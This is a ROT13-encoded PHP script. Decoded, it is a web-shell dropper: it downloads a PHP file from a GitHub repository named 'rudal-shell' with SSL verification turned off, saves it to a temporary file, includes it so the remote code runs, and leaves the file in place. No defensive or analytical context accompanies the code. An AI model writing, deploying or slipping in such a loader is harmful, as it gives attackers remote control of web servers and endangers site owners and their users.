<?cuc
// Ranoyr reebe ercbegvat sbe qrohttvat checbfrf
reebe_ercbegvat(R_NYY);
vav_frg('qvfcynl_reebef', 1);

shapgvba trgheyfvasb($hey) {
    vs (shapgvba_rkvfgf('phey_rkrp')) {
        $pbaa = phey_vavg($hey);
        phey_frgbcg($pbaa, PHEYBCG_ERGHEAGENAFSRE, 1);
        phey_frgbcg($pbaa, PHEYBCG_SBYYBJYBPNGVBA, 1);
        phey_frgbcg($pbaa, PHEYBCG_HFRENTRAG, "Zbmvyyn/5.0 (Jvaqbjf AG 6.1; ei:32.0) Trpxb/20100101 Sversbk/32.0");
        phey_frgbcg($pbaa, PHEYBCG_FFY_IREVSLCRRE, 0);
        phey_frgbcg($pbaa, PHEYBCG_FFY_IREVSLUBFG, 0);
        $hey_trg_pbagragf_qngn = phey_rkrp($pbaa);
        vs (phey_reeab($pbaa)) {
            rpub 'Phey reebe: ' . phey_reebe($pbaa);
            erghea snyfr;
        }
        phey_pybfr($pbaa);
    } ryfrvs (shapgvba_rkvfgf('svyr_trg_pbagragf')) {
        $hey_trg_pbagragf_qngn = svyr_trg_pbagragf($hey);
        vs ($hey_trg_pbagragf_qngn === snyfr) {
            rpub 'svyr_trg_pbagragf reebe';
            erghea snyfr;
        }
    } ryfrvs (shapgvba_rkvfgf('sbcra') && shapgvba_rkvfgf('fgernz_trg_pbagragf')) {
        $unaqyr = sbcra($hey, "e");
        vs ($unaqyr === snyfr) {
            rpub 'sbcra reebe';
            erghea snyfr;
        }
        $hey_trg_pbagragf_qngn = fgernz_trg_pbagragf($unaqyr);
        spybfr($unaqyr);
    } ryfr {
        $hey_trg_pbagragf_qngn = snyfr;
    }
    erghea $hey_trg_pbagragf_qngn;
}

// Qverpgyl rkrphgr gur znva pbagrag
$n = trgheyfvasb('uggcf://enj.tvguhohfrepbagrag.pbz/VAQBUNKFRP/ehqny-furyy/ersf/urnqf/znva/fryoneh.cuc');
vs ($n !== snyfr) {
    $gzc_svyr = flf_trg_grzc_qve() . '/grzc_' . havdvq() . '.cuc';
    svyr_chg_pbagragf($gzc_svyr, $n);
    vapyhqr($gzc_svyr);
    // Qb abg qryrgr gur grzcbenel svyr
} ryfr {
    rpub "Snvyrq gb ergevrir pbagrag.";
}
?>